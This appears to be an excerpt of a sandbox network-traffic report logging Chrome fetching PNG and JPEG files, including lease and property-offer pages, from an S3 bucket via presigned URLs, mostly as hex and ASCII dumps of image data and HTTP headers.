2024-04-25 13:30:09 UTC	16384	IN	Data Raw: b2 7e 7c 50 7b 1a eb 97 4a 6c 27 55 3b 33 f2 50 44 46 b9 cd 89 3f 66 6b 5a 37 8e be dd 88 30 9f 70 79 f8 43 94 cc ff 00 0f c9 07 b0 f9 3f 2d 77 f0 eb 4a 81 86 bc 06 e9 fc 70 41 bd 68 4b 9a f8 2e 1e cf 56 59 6b 9e 59 d4 ea 41 d3 ac b7 79 d0 e0 81 cc a4 a5 86 cd d3 96 cc 4e f4 1a e6 9c d0 5c e8 6f 6c b2 23 00 27 df d5 23 db 88 71 5d 2f 76 3a 48 ae f5 27 53 97 c7 cf 56 28 30 6c 57 34 92 24 cc 4d 29 af 11 bf 61 ea 41 b3 41 b9 64 b6 7d 1f 65 64 3e 52 f2 6a 1e ba e4 92 69 0f 2d 98 f9 92 0b d0 ae 75 a1 b0 a2 59 da 62 0b 3c 58 90 a3 45 82 22 38 41 89 1a 03 63 32 04 57 c3 0e e6 3a 24 16 5a 2d 0c 84 f7 02 e8 6d 8f 19 ac 20 44 78 21 93 0e e6 b9 a4 11 0e b4 9d 33 f3 34 1b 8e 85 bb 0f 81 11 ae 6b 4b 31 69 2d a5 1c 0b 1e d9 83 f8 5c d7 38 38 1a 16 92 0d 0c 90 77 3b b3 Data Ascii: ~\|P{Jl'U;3PDF?fkZ70pyC?-wJpAhK.VYkYAyN\ol#'#q]/v:H'SV(0lW4$M)aAAd}ed>Rji-uYb<XE"8Ac2W:$Z-m Dx!34kK1i-\88w;
2024-04-25 13:30:09 UTC	16384	IN	Data Raw: 80 95 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 0c 6b 50 26 1d 36 fc 10 73 9d 3f 0d c5 8f 96 53 98 ae 53 af 87 5a 0e 05 79 2c b1 49 7c b9 d3 33 19 cc ee c2 5b 8a 0e 3b a4 f4 7c 77 39 f2 6b 8c c1 1d 98 f5 77 09 04 1a 75 a3 46 5a 2b ea b8 e3 96 c9 53 e3 99 32 c2 68 22 9f a3 ed 54 9b 5e 7a c0 e0 71 af 9c 90 64 41 d1 b6 97 4a 6d 7e 18 63 e7 7e ae 28 2f 44 d0 96 87 89 f3 1d 50 65 d7 ba 42 9f b2 08 5b 5d df b5 39 a7 d4 7c e5 29 c8 f1 9c b7 65 d5 4a 06 b8 fb bd 6c 0e 13 6b 8d 48 c0 e3 3a 1c 2a 4f 6a 09 8b 0e 84 b5 8a 73 1d 86 24 63 97 9c 2b c1 06 c3 0b 42 da 8b 04 da ea 6c 27 7e 5e 7a 90 59 8f a0 6d 2e 3f 85 c6 87 23 ab e1 5d ba a8 82 12 3d d3 b4 3c 1f 66 ec 7d d3 ae 92 a7 5c 90 45 c5 b9 d1 c1 98 86 ec 46 0d 33 d6 3c 0a 0f 6c d7 66 d5 0d e2 Data Ascii: kP&6s?SSZy,I\|3[;\|w9kwuFZ+S2h"T^zqdAJm~c~(/DPeB[]9\|)eJlkH:*Ojs$c+Bl'~^zYm.?#]=<f}\EF3<lf
2024-04-25 13:30:09 UTC	16384	IN	Data Raw: e2 ad 75 a0 cb fb 66 1e 1c e1 2d 53 f9 20 b6 74 d4 10 6a e1 3d 8e fd 90 7a dd 35 04 9a 38 75 ba 7e 28 2e b7 4a c3 7f e6 03 55 65 e1 db f1 41 97 0a dc d7 80 39 dd bb 68 31 95 46 08 25 20 c5 0e 95 71 d7 4e bd 84 67 e6 41 94 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 82 dc 57 73 58 4f 99 67 f0 41 a6 69 7b 7f 42 d7 56 46 47 85 30 ae ea 77 20 e4 5a 72 f4 8b 31 74 de 28 48 c7 a8 f6 66 42 0e 6f 6c bf ec 86 e2 3a 61 43 93 c0 ef 98 18 91 af 52 0f 2c 7c a0 c3 7b c3 44 6c 48 fc c0 d6 75 c3 77 c9 07 4c d0 37 a4 5a 0b 25 12 73 91 fc 43 56 fe cd e8 3a 9d 8b 48 f3 e1 0a 8c 01 ad 38 4e Data Ascii: uf-S tj=z58u~(.JUeA9h1F% qNgAWsXOgAi{BVFG0w Zr1t(HfBol:aCR,\|{DlHuwL7Z%sCV:H8N
2024-04-25 13:30:09 UTC	16384	IN	Data Raw: 00 f1 b9 fd 01 07 a3 92 f8 20 8f fb b9 c7 dc 08 33 20 f2 67 05 a4 4e ce 3f 48 eb f3 4e 28 25 a0 72 79 05 a4 7b 11 ab f0 81 4d 7e 1b a9 8a 09 16 dc 28 20 0f 66 d0 47 f4 0f 04 14 be e0 c0 70 97 44 d3 3f e8 03 af 0a a0 b4 39 3e 82 1c 08 84 da 65 cc 15 3b f1 41 b1 e8 cb 99 0e 03 c4 a1 01 22 25 26 80 04 b5 1f 32 a7 58 74 fd 15 a2 9b 67 0c 01 95 12 ac a5 84 b7 ec d7 b3 68 6e 10 58 1a d1 4f 3e 69 4d 54 41 79 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 07 8e c0 ee 3d c8 21 34 84 e4 e9 7b b5 dd 44 1c d3 4e 98 85 ae 23 6c e4 06 12 f3 d8 83 8b e9 c6 c5 71 78 ae 26 58 8c 41 f3 aa 88 39 8e 90 b2 c6 2f 9c 8c a6 7a f1 dc 31 d7 c5 06 bf 12 cf 15 a7 3d 52 af 1e d0 82 db 44 61 20 1c 46 42 53 f0 1d e8 2f 06 47 34 9b a6 46 24 99 70 9e ae ae e4 1e 1b 34 73 89 25 Data Ascii: 3 gN?HN(%ry{M~( fGpD?9>e;A"%&2XtghnXO>iMTAy=!4{DN#lqx&XA9/z1=RDa FBS/G4F$p4s%
2024-04-25 13:30:09 UTC	16384	IN	Data Raw: e1 8f 1d d0 a6 f7 1c 33 98 1b 87 9c 76 a0 fa d2 ea da df 16 14 3e 74 f0 18 d7 6e bc 2a 66 83 ab d9 9d 38 6d a6 22 7d b2 41 90 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 82 97 38 37 1d 53 d8 82 13 48 5a 5a 18 fa e5 b3 2f 80 ae 75 c1 07 20 bc f1 98 f6 3e 44 60 46 bc fe 48 3e 73 bc b6 66 45 7c 47 52 a4 e0 01 d9 b0 4a 7b e7 40 83 9c 3b 47 30 45 99 68 c6 59 56 bd a3 f6 c1 06 d3 a3 2c f0 e1 b4 50 0c 25 80 de 70 1b e5 80 41 b0 b8 43 0c 90 96 1b 27 be 7d e4 ca 48 35 6d 27 67 86 f0 40 91 1b 28 4c f6 79 98 9e b4 1a 3d aa c0 de 73 88 02 40 9c 71 ae 1a 80 15 a8 f9 a0 c2 10 3a 33 39 4a 47 2d fb ce 68 32 a0 e2 37 9e e4 1b 1d 84 8a 54 7e 29 f5 56 bb 90 6d 56 57 00 c1 3d 5e 1e 08 29 b5 16 b8 10 7e 58 67 c2 75 cb 1c 90 6a f6 bb 23 62 4e 60 1a Data Ascii: 3v>tn*f8m"}A87SHZZ/u >D`FH>sfE\|GRJ{@;G0EhYV,P%pAC'}H5m'g@(Ly=s@q:39JG-h27T~)VmVW=^)~Xguj#bN`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49716	18.244.197.147	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:09 UTC	807	OUT	GET /n2v4rl2b327s1vid8g7nsn5ebkvj?response-content-disposition=inline%3B%20filename%3D%22fhf.png%22%3B%20filename%2A%3DUTF-8%27%27fhf.png&response-content-type=image%2Fpng&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAJEO7TYJAYQI5QCQQ%2F20240425%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240425T133008Z&X-Amz-Expires=300&X-Amz-SignedHeaders=host&X-Amz-Signature=6526713a88cfa7d999f0cd7c9de37041e3485792cb3b05ba63508120daa8e335 HTTP/1.1 Host: contentsnare-production.s3-accelerate.amazonaws.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:09 UTC	865	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 12626 Connection: close x-amz-id-2: 1nNncOvRGaGO1vrzhNqPg5JzW320HdNdeTV4I05V4SNBZSrtWBqb7QJrGXfsy3UEKveHtwrSHcE= x-amz-request-id: J1V63ZQCCC97464C Date: Thu, 25 Apr 2024 13:30:10 GMT Last-Modified: Wed, 24 Apr 2024 13:16:08 GMT ETag: "88ed47a00a61dd7eac4df2eeb2fc71c6" x-amz-server-side-encryption: aws:kms x-amz-server-side-encryption-aws-kms-key-id: arn:aws:kms:us-east-1:359876452365:key/9cd98b6e-a093-42c0-abd9-7a1db4f84494 x-amz-server-side-encryption-bucket-key-enabled: true Content-Disposition: inline; filename="fhf.png"; filename*=UTF-8''fhf.png Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 7e7ccf072e0f5564c045d34cf1966b9e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL58-P4 X-Amz-Cf-Id: AxrOdJW7oe_C9YzuSe83Bs9mJ7fX404JQDzCnstBcyoke-CrOVWehA==
2024-04-25 13:30:09 UTC	12626	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 0b 60 00 00 00 6a 08 06 00 00 00 60 22 d3 1a 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 40 68 01 04 a4 84 de 04 91 1a 40 4a 08 2d 80 f4 22 d8 08 49 80 50 62 0c 04 11 3b ba a8 e0 da 45 04 6c e8 aa 88 62 07 c4 8e d8 59 14 1b f6 45 11 05 65 5d 2c d8 95 37 29 a0 eb be f2 bd f3 7d 73 ef 7f ff 39 f3 9f 33 e7 ce 2d 03 80 da 29 8e 48 94 8d aa 03 90 23 cc 13 c7 04 fb d3 c7 27 25 d3 49 3d 00 01 3a b0 d9 02 2d 0e 37 57 c4 8c 8a 0a 07 d0 86 ce 7f b7 77 b7 a0 27 b4 eb f6 52 ad 7f f6 ff 57 d3 e0 f1 73 b9 00 20 51 10 a7 f2 72 b9 39 10 1f 02 00 af e2 8a c4 79 00 10 a5 bc d9 f4 3c 91 14 c3 06 b4 c4 30 41 88 17 4b 71 ba 1c 57 49 71 aa 1c ef 93 f9 c4 c5 b0 20 6e Data Ascii: PNGIHDR`j`"?iCCPICC ProfileHWXS[@h@J-"IPb;ElbYEe],7)}s93-)H#'%I=:-7Ww'RWs Qr9y<0AKqWIq n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49717	18.244.197.147	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:09 UTC	918	OUT	GET /z0t4w7u8omptii0ahi8fvkg3o4b5?response-content-disposition=inline%3B%20filename%3D%22Pages%20from%202024-2025%20April%20Caleb%20Lease.docx.jpg%22%3B%20filename%2A%3DUTF-8%27%27Pages%2520from%25202024-2025%2520April%2520Caleb%2520Lease.docx.jpg&response-content-type=image%2Fjpeg&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAJEO7TYJAYQI5QCQQ%2F20240425%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240425T133008Z&X-Amz-Expires=300&X-Amz-SignedHeaders=host&X-Amz-Signature=e247b392a5d99122054d893c7b254dc88b03abcb849b6228ee64c969cca4ae63 HTTP/1.1 Host: contentsnare-production.s3-accelerate.amazonaws.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:09 UTC	957	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Content-Length: 211541 Connection: close x-amz-id-2: KcvH4y2I7kp+LDCHNhiYo9Vi8wuk5h1KI8oU4BkXctD6jtU00rwHzQ1HL9P0VHyeWR2Hp2PR2Zs= x-amz-request-id: J1V7GK606Z9F5W0S Date: Thu, 25 Apr 2024 13:30:10 GMT Last-Modified: Wed, 24 Apr 2024 13:12:41 GMT ETag: "2d959ba6c65d955a7cc031a1309abec6" x-amz-server-side-encryption: aws:kms x-amz-server-side-encryption-aws-kms-key-id: arn:aws:kms:us-east-1:359876452365:key/9cd98b6e-a093-42c0-abd9-7a1db4f84494 x-amz-server-side-encryption-bucket-key-enabled: true Content-Disposition: inline; filename="Pages from 2024-2025 April Caleb Lease.docx.jpg"; filename*=UTF-8''Pages%20from%202024-2025%20April%20Caleb%20Lease.docx.jpg Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 96c5fe5a0ce9fb454568c749d1bf1d2c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL58-P4 X-Amz-Cf-Id: mXZgWqBRnbQM8HPp8OpLM22iYEclQ-APNxR15qTySIEd6nS7P9tulw==
2024-04-25 13:30:09 UTC	3245	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 01 01 0a 01 0a 00 00 ff e2 0f d0 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0f c0 61 70 70 6c 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e8 00 01 00 16 00 01 00 2a 00 14 61 63 73 70 41 50 50 4c 00 00 00 00 41 50 50 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 61 70 70 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 64 65 73 63 00 00 01 50 00 00 00 62 64 73 63 6d 00 00 01 b4 00 00 04 9c 63 70 72 74 00 00 06 50 00 00 00 23 77 74 70 74 00 00 06 74 00 00 00 14 72 58 59 5a 00 00 06 88 00 00 00 14 67 58 59 5a 00 00 06 9c 00 00 00 14 62 58 59 5a 00 00 06 b0 00 00 00 14 72 Data Ascii: JFIFICC_PROFILEapplmntrRGB XYZ *acspAPPLAPPL-appldescPbdscmcprtP#wtpttrXYZgXYZbXYZr
2024-04-25 13:30:09 UTC	16384	IN	Data Raw: 11 78 6e 78 cc 79 2a 79 89 79 e7 7a 46 7a a5 7b 04 7b 63 7b c2 7c 21 7c 81 7c e1 7d 41 7d a1 7e 01 7e 62 7e c2 7f 23 7f 84 7f e5 80 47 80 a8 81 0a 81 6b 81 cd 82 30 82 92 82 f4 83 57 83 ba 84 1d 84 80 84 e3 85 47 85 ab 86 0e 86 72 86 d7 87 3b 87 9f 88 04 88 69 88 ce 89 33 89 99 89 fe 8a 64 8a ca 8b 30 8b 96 8b fc 8c 63 8c ca 8d 31 8d 98 8d ff 8e 66 8e ce 8f 36 8f 9e 90 06 90 6e 90 d6 91 3f 91 a8 92 11 92 7a 92 e3 93 4d 93 b6 94 20 94 8a 94 f4 95 5f 95 c9 96 34 96 9f 97 0a 97 75 97 e0 98 4c 98 b8 99 24 99 90 99 fc 9a 68 9a d5 9b 42 9b af 9c 1c 9c 89 9c f7 9d 64 9d d2 9e 40 9e ae 9f 1d 9f 8b 9f fa a0 69 a0 d8 a1 47 a1 b6 a2 26 a2 96 a3 06 a3 76 a3 e6 a4 56 a4 c7 a5 38 a5 a9 a6 1a a6 8b a6 fd a7 6e a7 e0 a8 52 a8 c4 a9 37 a9 a9 aa 1c aa 8f ab 02 ab 75 ab e9 Data Ascii: xnxy*yyzFz{{c{\|!\|\|}A}~~b~#Gk0WGr;i3d0c1f6n?zM _4uL$hBd@iG&vV8nR7u
2024-04-25 13:30:09 UTC	1024	IN	Data Raw: 61 15 39 5a 69 4a 62 21 c5 18 a9 76 51 b2 81 8c 15 2a 53 76 d3 96 80 26 43 53 03 55 d4 d4 a1 a9 00 e6 35 13 9a 79 35 1b 50 04 2d 4d a9 18 53 76 d3 10 82 9e 28 0b 4f 0b 48 63 08 a6 91 53 6d a6 95 a0 08 48 a4 a9 4a d3 76 d3 01 ab 52 a9 a6 85 a7 81 48 07 83 4a 4d 20 a4 26 80 11 aa 26 a9 0d 30 8a 00 8c d3 69 e4 53 48 a6 03 73 46 69 71 46 28 10 03 52 21 a6 01 4f 5a 06 58 8c d5 94 35 56 3a b2 86 93 02 71 4d 6a 01 a0 9a 40 44 e2 a0 71 53 b5 42 d4 c0 81 a9 b5 2b 0a 6e da 00 65 2d 3c 2d 2e da 00 8e 92 a4 2b 49 b6 80 23 a5 14 fd b4 a1 68 01 16 a6 4a 60 15 22 8a 00 9e 33 56 50 d5 55 6a 95 5e 90 16 d5 a9 c1 aa b0 92 9d e6 52 02 c6 ea 37 54 1e 65 1e 65 00 4f ba 8d d5 0f 99 46 fa 00 9b 75 1b aa 1d f4 79 94 01 36 ea 37 54 1e 65 1e 65 00 4d ba 8d f5 07 99 49 e6 d1 60 2c Data Ascii: a9ZiJb!vQ*Sv&CSU5y5P-MSv(OHcSmHJvRHJM &&0iSHsFiqF(R!OZX5V:qMj@DqSB+ne-<-.+I#hJ`"3VPUj^R7TeeOFuy67TeeMI`,
2024-04-25 13:30:09 UTC	16384	IN	Data Raw: 4f 3e a8 1b 8a 61 b9 a7 ca 23 47 cf a3 cf ac df b4 d0 2e 28 e5 03 4f cf a5 f3 ab 34 5c 53 84 f4 72 81 a2 26 a3 ce ac ff 00 3e 97 cf a5 ca 06 87 9d 47 9d 54 3c fa 3c fa 39 40 bf e7 52 79 d5 40 dc 52 7d a2 8e 50 34 04 d4 e1 25 67 ac f5 2a cb 47 28 17 43 d0 64 aa c2 4a 1a 4a 56 19 2b 4b 51 b4 f5 5e 49 71 55 de 7a a5 11 17 bc fa 04 f5 9b f6 8a 51 3d 3e 50 34 84 f4 be 75 67 89 e8 f3 e9 72 81 7c cd 48 65 aa 3e 7d 1e 75 1c a0 5c 32 52 17 aa be 75 1e 6d 2e 51 96 0b 52 13 50 79 b4 79 b4 ec 22 6c d1 8a 84 49 4f 0f 45 80 7e 29 08 a4 df 4d 67 a2 c3 02 69 37 d4 4f 25 44 66 a6 90 8b 62 4a 7a c9 54 04 d5 22 cd 47 28 17 83 d2 16 aa cb 2d 3b cc a5 ca 04 a4 d2 66 a3 f3 29 3c ca 2c 04 e0 d3 81 aa de 6d 28 9a 8b 0c b3 9a 42 6a 0f 3a 8f 3a 8b 01 31 a4 c5 45 e6 d2 89 28 b0 12 Data Ascii: O>a#G.(O4\Sr&>GT<<9@Ry@R}P4%g*G(CdJJV+KQ^IqUzQ=>P4ugr\|He>}u\2Rum.QRPyy"lIOE~)Mgi7O%DfbJzT"G(-;f)<,m(Bj::1E(
2024-04-25 13:30:09 UTC	1024	IN	Data Raw: 05 6f 2a 9c 21 ab 42 3a 78 8a 80 29 79 54 86 2a bd e5 53 4c 54 01 44 c7 4a 23 ab 66 1a 04 54 01 02 25 4c a9 52 2c 75 22 c7 40 10 18 e9 8d 1d 5c d9 48 63 a0 0a 0d 15 37 ca ab c6 2a 4f 2a 80 29 88 a9 44 55 73 ca a5 11 50 05 3f 2a 90 c5 57 bc aa 43 15 00 50 30 d3 7c 9a d0 30 d3 7c 9a 00 a4 21 a7 ac 55 6c 45 4e 11 50 05 61 1d 29 8e ac f9 74 18 e8 02 9b 47 51 b4 55 78 c7 4d 31 50 05 0f 2a 81 0d 5e f2 69 7c 9a 00 a5 e4 d2 f9 35 77 c9 a5 f2 a8 02 8f 95 49 e5 55 ff 00 2a 93 ca a0 0a 5e 55 28 8a ae 79 54 be 55 00 53 11 52 f9 55 6f ca a5 f2 a8 02 97 95 48 62 ab a6 2a 43 15 00 51 f2 a9 44 55 73 ca a3 ca a0 0a cb 1d 3c 47 56 04 74 e1 1d 00 55 31 d4 6d 15 5e f2 e9 a6 2a 00 ce 68 69 86 0a d2 30 d2 79 14 01 9d e4 52 18 2b 4b c9 a4 30 50 06 59 82 81 0d 68 98 29 3c 8a 00 Data Ascii: o!B:x)yTSLTDJ#fT%LR,u"@\Hc7O)DUsP?WCP0\|0\|!UlENPa)tGQUxM1P^i\|5wIU^U(yTUSRUoHbCQDUs<GVtU1m^*hi0yR+K0PYh)<
2024-04-25 13:30:09 UTC	15088	IN	Data Raw: 01 64 53 aa 25 6a 93 34 00 8d 51 35 48 c6 a2 63 40 0d 34 dc d0 c6 a3 26 80 1e 5a 9b be a3 2d 4c 2f 40 13 79 94 9e 65 41 be 93 7d 00 58 f3 29 ea f5 54 3d 39 5a 80 2e 23 54 ca 6a 9a 35 4e ad 40 16 37 53 59 a9 9b a9 ac d4 00 8e d5 19 7a 6b b5 44 5a 80 26 0f 4e 0f 55 83 53 83 50 05 9d f4 6f a8 37 52 16 a0 09 cc 94 d3 25 40 5e 9b be 80 2c 89 29 ea f5 50 3d 3d 5e 80 2d 86 a7 6e aa ea d4 fd d4 00 e6 6a 89 9a 95 9a a1 76 a0 05 2f 40 92 a1 66 a6 6f a0 0b 42 4a 77 99 54 f7 d2 f9 94 01 70 49 4e 0f 54 c4 94 e5 92 80 2e ab 54 c8 6a 92 3d 59 8d a8 02 da 0a 95 56 a1 8c d4 ea 68 01 76 d2 14 a7 d1 40 11 14 a4 d9 53 62 8c 50 04 61 29 c1 69 d8 a5 a0 06 ed a0 ad 3a 8a 00 66 ca 36 53 e8 a0 06 6d a5 db 4e a2 80 1b b6 8d b4 ea 28 01 9b 28 db 4f a2 80 19 b2 8d b4 fa 28 01 9b 68 Data Ascii: dS%j4Q5Hc@4&Z-L/@yeA}X)T=9Z.#Tj5N@7SYzkDZ&NUSPo7R%@^,)P==^-njv/@foBJwTpINT.Tj=YVhv@SbPa)i:f6SmN((O(h
2024-04-25 13:30:09 UTC	16384	IN	Data Raw: b6 c6 3e 64 e7 81 e8 0f b5 00 71 9f 08 ae 80 9f 61 eb ff 00 d6 35 ec d5 f3 4d 8d f4 9a 14 a5 87 0c a4 8e fe e3 b1 15 e8 69 f1 88 94 c9 51 bb 1e 9f fd 95 00 7a 06 a3 e2 38 34 e6 d9 23 60 fe 15 c9 fc 44 d6 a2 d4 2c 98 c6 73 ca ff 00 3a f2 ed 77 c4 12 6b 72 f9 a4 9c 9e 80 13 ea 4f a9 f5 ae f6 c7 c2 12 1d 39 91 f3 b8 f3 f9 33 1a 00 e1 3c 1e 71 70 bf 87 f3 15 f4 4d af dc 1f 41 5f 32 c7 23 58 49 c7 05 4f f2 ae fe df e3 0c 91 46 13 60 c8 18 e8 7f f8 aa 00 87 e3 1c a2 49 d0 0e cb fd 4d 45 f0 f7 50 3a 74 6f 38 e4 8f f1 c5 72 3a d6 a9 26 a4 e6 59 3b fd 7f c4 d7 6b f0 c2 c8 5e 86 89 ba 1f fe bd 00 6a a7 c5 cf 98 29 5e e3 fc f4 af 44 d3 6f 05 fc 4b 28 e8 ea 0f e6 01 af 9f bc 59 e1 f9 34 89 88 61 85 38 c7 e4 2b 5b c3 5f 12 a6 d1 97 ca c6 e5 1c 0c e4 e3 18 1f de 1e 94 Data Ascii: >dqa5MiQz84#`D,s:wkrO93<qpMA_2#XIOF`IMEP:to8r:&Y;k^j)^DoK(Y4a8+[_
2024-04-25 13:30:09 UTC	1024	IN	Data Raw: 52 52 d1 40 05 14 51 40 05 25 2d 14 00 94 b4 51 40 05 25 2d 14 00 94 b4 51 40 05 25 2d 14 00 94 52 d1 40 09 4b 45 14 00 51 45 14 00 51 45 14 00 94 b4 51 40 05 25 2d 14 00 94 52 d1 40 09 45 2d 14 00 94 b4 51 40 05 25 2d 14 00 94 52 d1 40 05 14 51 40 05 14 51 40 05 14 51 40 05 14 51 40 05 14 51 40 05 14 51 40 05 14 51 40 05 14 51 40 19 3e 2c ff 00 8f 3b 9f fa f7 9b ff 00 40 6a 3c 27 ff 00 1e 76 df f5 ef 0f fe 80 b4 78 b3 fe 3c ee 7f eb de 6f fd 01 a8 f0 9f fc 79 db 7f d7 bc 3f fa 02 d0 05 cd 43 ee 8f af f4 35 43 15 7f 50 38 51 f5 fe 86 b3 f7 50 00 45 1b 68 dd 46 68 01 40 a7 a8 a8 c1 a7 86 a0 09 00 a5 c5 30 3d 2e fa 00 0a d3 19 69 c5 a9 85 a8 01 85 69 36 d3 89 a4 dd 40 0a 16 9e 05 30 35 3b 7d 00 3f 14 d3 48 5e 9a 5e 80 14 d2 8a 8b cc a5 0f 40 13 ad 4a b5 5d Data Ascii: RR@Q@%-Q@%-Q@%-R@KEQEQEQ@%-R@E-Q@%-R@Q@Q@Q@Q@Q@Q@Q@Q@>,;@j<'vx<oy?C5CP8QPEhFh@0=.ii6@05;}?H^^@J]
2024-04-25 13:30:09 UTC	16384	IN	Data Raw: f1 e7 6d ff 00 5e f0 ff 00 e8 0b 47 8b 3f e3 ce e7 fe bd e6 ff 00 d0 1a 8f 09 ff 00 c7 9d b7 fd 7b c3 ff 00 a0 2d 00 5a d5 0e 14 7d 7f a1 ac cd d5 a5 aa 7d d1 fe f7 f4 35 97 8a 00 76 ea 37 52 62 8c 50 03 b7 50 1e 9b 8a 31 40 12 87 fc e9 37 d4 74 50 04 85 e9 a5 e9 b4 86 80 14 bd 1b e9 98 a3 14 00 fd f4 bb ea 3a 0d 00 38 c9 4c 32 52 1a 61 14 00 ef 32 9c 1e a2 c5 28 14 01 61 1e a6 57 aa c8 2a 65 a0 09 b7 d2 33 d3 69 ad 40 0d 67 a8 99 e9 cd 51 30 a0 03 7d 01 a9 b8 a5 0b 40 12 a3 54 ca 6a 14 15 32 8a 00 90 1a 42 69 40 a4 22 80 18 c6 98 5a 9e c2 a3 22 80 0d f4 bb e9 98 a3 14 01 20 7a 5f 32 a2 a2 80 24 32 53 4c 94 c3 4d 34 01 26 fa 37 d4 78 a5 14 01 20 7a 5d f5 1d 06 80 25 12 54 8b 25 55 cd 3d 4d 00 5e 8d ea cc 6d 54 62 35 6e 33 40 16 56 9f 51 a5 48 28 01 68 a2 Data Ascii: m^G?{-Z}}5v7RbPP1@7tP:8L2Ra2(aW*e3i@gQ0}@Tj2Bi@"Z" z_2$2SLM4&7x z]%T%U=M^mTb5n3@VQH(h
2024-04-25 13:30:09 UTC	1024	IN	Data Raw: be e2 ff 00 ba 3f 95 00 4b 5c a7 80 7f e5 f3 fe c2 17 1f fb 2d 75 75 ca 78 07 fe 5f 3f ec 21 71 ff 00 b2 d0 07 57 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 49 4b 45 00 25 2d 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 Data Ascii: ?K\-uux_?!qWEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPIKE%-PEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49720	18.244.197.147	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:09 UTC	922	OUT	GET /id4bw8i9c1l9f4v2rng272la9b53?response-content-disposition=inline%3B%20filename%3D%22Pages%20from%207953%20Cedar%20Drive%20Offer%255B83%255D.jpg%22%3B%20filename%2A%3DUTF-8%27%27Pages%2520from%25207953%2520Cedar%2520Drive%2520Offer%255B83%255D.jpg&response-content-type=image%2Fjpeg&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAJEO7TYJAYQI5QCQQ%2F20240425%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240425T133008Z&X-Amz-Expires=300&X-Amz-SignedHeaders=host&X-Amz-Signature=b19cd8bfd37111eacd64b16cd2d43f38824f756d2b9a6e9642686b8393c5c0c2 HTTP/1.1 Host: contentsnare-production.s3-accelerate.amazonaws.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
